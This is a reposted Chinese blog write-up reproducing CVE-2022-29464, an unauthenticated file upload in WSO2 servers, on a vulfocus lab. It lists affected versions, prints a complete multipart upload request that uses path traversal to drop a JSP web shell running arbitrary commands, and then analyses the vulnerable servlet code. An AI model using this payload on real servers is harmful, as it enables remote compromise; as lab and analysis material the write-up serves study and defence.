0


漏洞复现 a.WSO2 文件上传 (CVE-2022-29464)

附件二:漏洞详情提交文件模板
1.漏洞描述
CVE-2022-29464 是 Orange Tsai发现的 WSO2 上的严重漏洞。该漏洞是⼀种未经身份验证的⽆ 限制任意⽂件上传,允许未经身份验证的攻击者通过上传恶意 JSP ⽂件在 WSO2 服务器上获得RCE。
2.漏洞影响
这会影响到:
WSO2 API Manager 2.2.0 及更高版本到 4.0.0;
WSO2 Identity Server 5.2.0 及以上至 5.11.0;
WSO2 身份服务器分析 5.4.0、5.4.1、5.5.0 和 5.6.0;
WSO2 身份服务器作为密钥管理器 5.3.0 及更高版本至 5.10.0;
WSO2 Enterprise Integrator 6.2.0 及更高版本至 6.6.0。
3.漏洞复现步骤
拉取vulfocus的环境
在这里插入图片描述

漏洞位置:/fileupload/toolsAny

在这里插入图片描述

上传1.jsp的恶意文件
POST 传包
增填报文信息

--4ef9f369a86bfaadf5ec3177278d49c0
Content-Disposition: form-data; name="../../../../repository/deployment/server/webapps/authenticationendpoint/1.jsp"; filename="../../../../repository/deployment/server/webapps/authenticationendpoint/1.jsp"

<FORM>
    <INPUT name='cmd' type=text>
    <INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
    <%
    String cmd = request.getParameter("cmd");
    String output = "";
    if(cmd != null) {
        String s = null;
        try {
            Process p = Runtime.getRuntime().exec(cmd,null,null);
            BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
            while((s = sI.readLine()) != null) { output += s+"</br>"; }
        }  catch(IOException e) {   e.printStackTrace();   }
    }
%>
        <pre><%=output %></pre>
--4ef9f369a86bfaadf5ec3177278d49c0--

上传成功后访问https://123.58.236.76:22416/authenticationendpoint/1.jsp?cmd=ls
在这里插入图片描述

在这里插入图片描述

分析:
该漏洞是一种未经身份验证的无限制任意文件上传,允许未经身份验证的攻击者通过上传恶意 JSP 文件在 WSO2 服务器上获得 RCE
宜受攻击的上传路由是/fileupload由FileUploadServlet处理的。Indentity.xml正如在配置文件上一样,他是不受IAM保护的路由:

并且不受默认登录措施保护的。handleSecurity()是负责保护 WSO2 服务的不同路由的功能并提供一种对收到的 HTTP 请求执行安全检查的机制,handleSecurity()将调用CarbonUILoginUtil.handleLoginPageRequest()并根据其返回值决定允许或拒绝访问请求的 URI:

在这里插入图片描述

CarbonUILoginUtil.handleLoginPageRequest()当CarbonUILoginUtil.RETURN_TRUE路线为/fileupload:
使用CarbonUILoginUtil.handleLoginPageRequest()返回CarbonUILoginUtil.RETURN_TRUE,handleSecurity()将返回true,然后将授予访问权限而/fileupload无需身份验证。

在这里插入图片描述

首先要确保是一个多部分的poat请求,然后提取上传文件,在确定是否包含一个或多个文件,并根据文件大小进行验证。从返回后parseRequest(),executeGeneric()现在将调用被以下execute()方法覆盖的方法ToolsAnyFileUploadExecutor:

在这里插入图片描述

已知execute是很容易就受到目录遍历的方法,因为它没有转义tmp目录,并且信任用户上传的文件名。文件保存在:
在这里插入图片描述

标签: web安全 安全

本文转载自: https://blog.csdn.net/FODKING/article/details/125746993
版权归原作者 FODKING 所有, 如有侵权,请联系我们删除。

“漏洞复现 a.WSO2 文件上传 (CVE-2022-29464)”的评论:

还没有评论